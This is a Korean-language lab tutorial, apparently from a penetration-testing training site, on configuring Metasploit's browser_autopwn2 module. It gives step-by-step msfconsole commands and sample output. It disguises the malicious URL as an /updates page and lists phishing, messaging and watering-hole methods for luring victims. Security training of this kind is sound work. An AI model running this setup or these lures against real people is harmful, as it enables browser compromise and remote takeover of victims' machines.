Metasploit 에서 브라우저 자동 공격 설정하기

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 Metasploit Framework 의 강력한 기능 중 하나인 브라우저 자동 공격 (browser autopwn attack) 에 대해 자세히 알아봅니다. 이 공격 유형은 악성 웹 서버를 설정하여, 대상이 방문하면 자동으로 피해자의 브라우저 유형 및 버전을 탐지하고, 발견된 취약점에 맞는 익스플로잇 (exploit) 을 제공하는 방식입니다.

저희는 원래 브라우저 자동 공격의 업데이트되고 더 안정적인 버전인 auxiliary/server/browser_autopwn2 모듈을 사용할 것입니다. 이 실습에서는 모듈 선택, 필요한 옵션 구성 및 서버 실행 과정을 안내합니다.

면책 조항: 이 실습은 교육 목적으로만 사용됩니다. 설명된 기술은 본인이 소유하거나 테스트할 명시적인 허가를 받은 시스템에서만 수행해야 합니다.

auxiliary/server/browser_autopwn2 모듈 선택

이 단계에서는 Metasploit Framework 콘솔을 시작하고 공격 설정의 핵심이 될 browser_autopwn2 모듈을 선택합니다.

먼저 터미널을 열고 Metasploit 콘솔을 실행합니다. 더 깔끔한 인터페이스를 위해 배너를 표시하지 않는 "조용한" 시작을 위해 -q 플래그를 사용합니다.

msfconsole -q

콘솔이 로드되면 msf6 >와 같은 Metasploit 프롬프트가 표시됩니다. Metasploit 은 도구를 모듈로 구성합니다. 공격을 설정하려면 browser_autopwn2 보조 모듈 (auxiliary module) 을 사용해야 합니다. use 명령을 사용하여 선택합니다.

use auxiliary/server/browser_autopwn2

명령을 실행하면 프롬프트가 변경되어 현재 특정 모듈의 컨텍스트에 있음을 나타냅니다.

msf6 > use auxiliary/server/browser_autopwn2
msf6 auxiliary(server/browser_autopwn2) >

이제 모듈의 옵션을 구성할 준비가 되었습니다.

LHOST 옵션을 Kali IP 로 설정하기

이 단계에서는 LHOST 옵션을 구성합니다. LHOST는 "Local Host"를 의미하며, 공격 머신 (LabEx VM) 의 IP 주소로 설정해야 합니다. 익스플로잇이 성공하면 피해자 머신이 이 IP 주소로 다시 연결하여 제어권을 얻게 됩니다.

먼저 LabEx VM 의 IP 주소를 찾아야 합니다. 터미널 창에서 + 아이콘을 클릭하여 새 터미널 탭을 열 수 있습니다. 새 터미널에서 다음 명령을 실행하여 IP 주소를 표시합니다.

ip addr show eth0 | grep "inet " | awk '{print $2}' | cut -d/ -f1

이와 유사한 출력을 보게 됩니다. 특정 IP 주소를 복사해야 합니다.

10.0.2.15

이제 msfconsole이 실행 중인 원래 터미널로 돌아갑니다. browser_autopwn2 모듈에 대해 구성 가능한 모든 옵션을 보려면 show options 명령을 사용합니다.

show options

옵션 목록이 표시됩니다. LHOST는 필수이지만 아직 설정되지 않았음을 확인합니다. set 명령을 사용하여 방금 복사한 IP 주소로 LHOST를 구성합니다. YOUR_IP_ADDRESS를 실제 IP 주소로 바꾸세요.

set LHOST YOUR_IP_ADDRESS

예를 들어, IP 가 10.0.2.15였다면 명령은 다음과 같습니다.

set LHOST 10.0.2.15

Metasploit 은 변경 사항을 확인합니다.

LHOST => 10.0.2.15

이제 LHOST가 올바르게 구성되었습니다.

악성 서버의 URIPATH 설정하기

이 단계에서는 URIPATH를 설정합니다. 이 옵션은 피해자가 공격을 트리거하기 위해 방문해야 하는 웹 서버의 특정 경로를 정의합니다. 기본값이 아닌 눈에 띄지 않는 경로를 사용하면 공격이 덜 명확해질 수 있습니다.

이전 단계와 마찬가지로 show options를 사용하여 현재 설정을 검토할 수 있습니다. URIPATH에 기본값이 있지만 사용자 지정 값으로 변경할 것입니다.

경로를 /updates로 설정해 보겠습니다. 이는 사용자에게 소프트웨어 업데이트 페이지를 방문한다고 생각하게 만들 수 있습니다. set 명령을 사용하여 URIPATH를 변경합니다.

set URIPATH /updates

콘솔에서 URIPATH가 업데이트되었음을 확인합니다.

URIPATH => /updates

이제 피해자가 방문해야 하는 악성 URL 은 http://<YOUR_IP_ADDRESS>:8080/updates가 됩니다.

웹 서버 시작을 위해 모듈 실행하기

이 단계에서는 필요한 모든 옵션을 구성한 후 보조 모듈 (auxiliary module) 을 실행합니다. 이렇게 하면 잠재적 피해자로부터 들어오는 연결을 수신 대기하는 웹 서버가 머신에서 시작됩니다.

모듈을 시작하려면 msfconsole 프롬프트에 run을 입력하고 Enter 키를 누릅니다.

run

이제 Metasploit 이 서버를 시작하고 관련 브라우저 익스플로잇을 모두 로드합니다. 서버가 초기화되면서 많은 출력이 표시됩니다. 여기서 주목해야 할 핵심 정보는 서버가 시작되었음을 확인하는 메시지와 사용 중인 URL 입니다.

출력은 다음과 유사하게 표시됩니다 (일부 세부 정보는 다를 수 있습니다).

[*] Auxiliary module running as a background job 0.
[*] Using URL: http://10.0.2.15:8080/updates
[*] Server started.
[*] Starting the payload handler...
[*] Analyzing browser info and matching exploits...
[*] Added exploit/windows/browser/adobe_flash_avm2...
[*] Added exploit/windows/browser/adobe_flash_copy_pixels...
... (더 많은 익스플로잇이 나열될 것입니다) ...

이제 악성 서버가 실행 중이며 http://10.0.2.15:8080/updates (실제 IP 로 대체) 에 연결하는 웹 브라우저를 적극적으로 기다리고 있습니다. 브라우저가 연결되면 서버는 이를 분석하고 적절한 익스플로잇을 실행하려고 시도합니다.

악성 URL 로 타겟을 유인하는 방법 논의하기

이 마지막 단계에서는 이 공격의 가장 중요한 부분인 타겟이 악성 URL 을 방문하도록 유도하는 방법에 대해 논의합니다. 서버는 실행 중이지만 수동적입니다. 피해자가 링크를 방문하기 전까지는 아무것도 할 수 없습니다. 이 단계는 사회 공학 (social engineering) 에 크게 의존합니다.

이 실험 환경에는 별도의 "피해자" 머신이 포함되어 있지 않으므로 이 단계는 순전히 개념적입니다. 실행할 명령은 없습니다.

다음은 타겟에게 악성 링크 (http://YOUR_IP_ADDRESS:8080/updates) 를 전달하는 데 사용되는 몇 가지 일반적인 방법입니다.

  • 피싱 이메일 (Phishing Emails): 사용자가 링크를 클릭하도록 유도하는 기만적인 이메일을 보냅니다. 예를 들어, 이메일은 보안 경고, 특별 제안 또는 비밀번호 재설정 알림인 것처럼 가장할 수 있습니다.
  • 인스턴트 메시징 (Instant Messaging): 채팅 애플리케이션을 통해 타겟에게 직접 링크를 보내며, 종종 "이 멋진 사이트 좀 봐!"와 같은 메시지를 함께 보냅니다.
  • 소셜 미디어 (Social Media): 클릭을 유도하기 위해 소셜 미디어 플랫폼에 공개적으로 또는 직접 메시지로 링크를 게시합니다.
  • 워터링 홀 공격 (Watering Hole Attack): 공격자가 타겟이 자주 방문하는 것으로 알려진 합법적인 웹사이트를 침해하는 보다 고급 기술입니다. 그런 다음 공격자는 해당 사이트에 악성 링크 또는 리디렉션을 포함시킵니다.

취약한 브라우저를 가진 타겟이 귀하의 URL 을 방문하면 browser_autopwn2가 자동으로 적절한 익스플로잇을 제공합니다. 익스플로잇이 성공하면 Metasploit 콘솔에 "세션 (session)"이 열려 피해자 머신에 대한 원격 액세스 권한을 얻게 됩니다. 터미널에 [*] Session 1 opened...와 같은 메시지가 표시됩니다.

요약

이 실험을 완료하신 것을 축하드립니다! Metasploit Framework 를 사용하여 브라우저 자동 공격 (browser autopwn attack) 을 설정하는 기본적인 단계를 성공적으로 학습하셨습니다.

이 실험에서 여러분은 다음을 수행했습니다.

  • Metasploit 콘솔 실행
  • auxiliary/server/browser_autopwn2 모듈 선택
  • 필수 옵션인 LHOSTURIPATH 구성
  • 악성 웹 서버 시작 및 기능 이해
  • 타겟을 악성 URL 로 유인하는 데 필요한 사회 공학 기법 논의

이 실습은 침투 테스트 도구가 얼마나 강력하고 자동화될 수 있는지를 보여줍니다. 또한 이러한 공격에 대비하기 위해 웹 브라우저와 플러그인을 최신 상태로 유지하는 것이 얼마나 중요한지를 강조합니다. 항상 이 지식을 책임감 있고 윤리적으로 사용하시기 바랍니다.